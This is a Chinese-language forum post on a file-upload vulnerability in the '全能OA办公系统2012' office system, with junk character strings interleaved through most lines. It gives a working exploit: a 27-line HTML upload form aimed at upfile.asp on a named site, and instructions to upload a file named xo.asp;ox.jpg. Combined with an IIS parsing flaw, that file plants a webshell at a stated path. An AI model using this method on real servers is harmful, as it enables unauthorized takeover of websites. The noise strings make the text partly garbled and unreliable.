全能OA办公系统 上传漏洞
5 I6 B: @: |/ B$ z1 y- a7 X, B
4 v+ o' `/ V8 d4 }5 r4 o7 V& [% b系统介绍:6 C4 h* P+ F5 P* M) p: T
( y0 o X( j# ~/ P
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。: L& }/ d! ]0 X& n! H7 h
2 B7 x: C: X/ ?, }$ q$ c
主要功能:
7 c5 M/ b* n& Q. V9 L* S) e* D公司通告
5 f( @ m& I" h+ g' K) [6 N( g工作计划 + @0 }# F1 K, \( b5 q, w( D, H& s
通讯助理
% h: R6 x% |1 v- B; Z( }7 t0 j客户资源
* Y6 x! r' \7 G3 V! Q# J) i V5 q* k8 b我的公文
, E; V# |5 w) O公文传阅 {' Z! `4 t: ]8 ?/ b
公共资源
) Q- D& i! J) ]8 V资源预约 L9 }; W* Y& U! Y1 l8 E7 S! C3 v7 N7 ~$ S
今日考勤
; L" B5 r2 j' X: V: w% }6 c) r3 l, \个人计划
1 o4 N% R) n5 G8 l! y个人通讯录
/ C* O3 Q3 z. @5 c- y个人基本档案
; B# @+ G3 u# w9 b7 r* h; z7 I' n' z未读邮件
! u* y l" C" M! N- g0 Q k发邮件 ; d) ]: Y5 Q& K# J N
收件夹
; i; d; z- _$ i% j寄件夹
% ?* h3 ]/ k& W. p# L- s网络硬盘 ( V) ]5 o4 N \' S( D3 y
网络会议
; k+ V2 }0 n; i9 V2 {1 u" i网络调查 : J: j: g$ v, f$ W
交流论坛
6 p: z: N1 [6 b* Q9 w: t1 g0 T8 k- @! o8 Y( O6 x2 z, ^0 O: K3 r
有兴趣测试的朋友可以下源码看看% Z( |; L# K' d8 l+ N, O
. a0 X/ }. `' ^& ?( E* r+ H源码下载:' K$ I; X4 r0 n n1 g
5 d- B8 e, C% G7 U% R2 d5 I
http://www.mycodes.net/30/4750.htm
B& t: P2 }' g) D+ n
; @- [' R- j/ P* n! E2 Y漏洞介绍:1 l1 L- D2 g" O& s A. ?/ q
* n+ X- D. s( L! |
由upfile.asp上传文件漏洞引起
1 P7 G2 |0 `5 T2 {3 U
3 l: B( ]- w' X% d2 N- ?测试方法:$ ]4 Q0 y9 p, {! R5 K' K( H
% H0 } b$ P1 c3 k! g: W
使用名小子上传http://www.itlynn.com/upfile.asp即可/ V s6 G" V& N- Z9 X
4 b1 A' M8 C) S* }4 {9 I1 ^) o4 D
如果upfile.asp文件被删除不存在。
* |% |! l6 F0 y7 \7 e& ]
Z& b( q8 m, M' l1 Q' }0 M5 o0 P: z% y 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。4 v1 m1 z/ l& j. D( c
c+ x& ?6 S0 B5 g2 ^- A
如果存在那么将如下代码保存为upfile.html。
( f* V1 J6 w; ~8 `" Y. |3 R5 S+ d+ M& @
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。# r; A3 ~$ s* j
- Y8 H& K$ B" ?8 L
- p8 Y- g$ J- a+ }: A1 t" O+ W: }
01 <table border='0' align="center" cellpadding="5"> 3 w: ]3 x8 \7 [! d7 B9 a6 [0 G' S
/ X- {$ f& Z# a; w) D" A
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1"> ! _+ N- I @2 d [: O
: @' _# F) |8 [" ^7 u2 A
03 <tr> 4 c6 d; m# {) Z0 L- t+ b$ I1 J) v
b1 ~: S$ W% n6 w
04 <td>报错:</td> ' c2 \" `2 O- d: s9 u
8 Q( P0 t' }) V/ S) a5 d
05 <td><input type='radio' name='errnumber' value='0'> " W% f9 U0 D, G7 x5 D
6 Y1 a. d! E- |+ z7 t" H
06 自动更名 " m: Q6 e# Y1 a- I
* @: z {& v6 B& i& n0 `1 G
07 <input type='radio' name='errnumber' value='1' checked>
2 T0 E6 w' Z5 _9 _1 h: M
5 d+ _- o# s3 r# k7 W- Z1 I) D08 报错方式 " X/ F, F9 P# i' H$ o: H
: b% `7 I7 ]/ D09 <input type='radio' name='errnumber' value='2'> : O2 t6 M1 E9 `$ A) h
8 y* t- `: q8 w$ x9 K1 P& w10 直接覆盖</td> ) k; _. ~( E( d9 h! C# q- ~ y6 c
) S8 c' j4 x1 \! y/ i% E q11 </tr> 7 W+ E d3 i0 a) N1 d6 c
) C- D, e$ x# a* Q' r; C! z
12 <tr>
# g# g8 o( R. V; l/ c$ n
& F% B4 |9 \" G4 A* ]13 <td>主题:</td>
7 J8 S% b! m/ U& j8 m" |1 ^& J1 x* U, e7 U; N% c- t! q
14 <td><input type='text' name='filename' size='30'></td>
J7 @$ z' n* y3 @8 d) t+ j) U$ u' n+ v' w& P4 {4 O
15 </tr> % L. w2 ^' b* u5 r# b' k# M. z
. c5 e+ D5 K! q6 w5 ?
16 <tr>
2 P6 Q( o* b5 m$ S3 Y* ~4 T8 [1 J0 j5 q6 R
17 <td>文件:</td> $ c6 q3 V2 X: J4 n0 D8 G7 c, i* D
) r( y, F6 l8 `. S' W$ r/ h9 y* \
18 <td><input type="file"name="fruit"size="30"></td>
) x/ D: [2 F, ^$ o7 R& ]8 n) T; c- _$ C+ x* m3 `* _
19 </tr>
/ O3 i' l0 K( i" X2 g0 N; l- e/ T; _1 h) ^8 q; J
20 <tr>
P- o! E, [+ p0 b+ [0 U
; s, R7 j- U0 G! X21 <td valign='top'>简介:</td> * `$ {3 N' P4 S# b# \: N
6 ?6 [% z" ]/ {
22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
6 C3 F8 n' m' E3 |1 O4 G G4 i, `& m% S
23 </tr> 6 r: |/ F) X4 U. R# `
, z7 X( e G1 ~& y# I
24
+ L& h# Z; |2 w2 ~5 _
! \: f- ?9 W: T# t% p25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
z$ u F; b4 i3 j$ j$ u: i+ ~- n! [3 R, s
26 </tr>
" ]# z3 n8 I" N0 Z
& E: h; w( U' W' F, }27 </form> ( O; j7 `0 d* m( r1 l( z
/ e _+ A& F- G) l2 u6 N$ k
然后打开上传一个文件名为xo.asp;ox.jpg的文件。1 J- n$ f3 q' h( I6 Q) H: ~
+ T; g* s: e9 n% B6 b / f! Z# ?& w! b5 g' ]
+ \6 i! `$ n! L+ S上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg; u* S6 C, S2 ~- D$ V" i" P
7 s6 p3 W9 z5 o! @3 k0 j4 [3 Q6 h
此漏洞需要配合解析漏洞利用。
4 L3 o/ L5 y, F% f$ V3 y( d" a c+ O' n. n- Z
|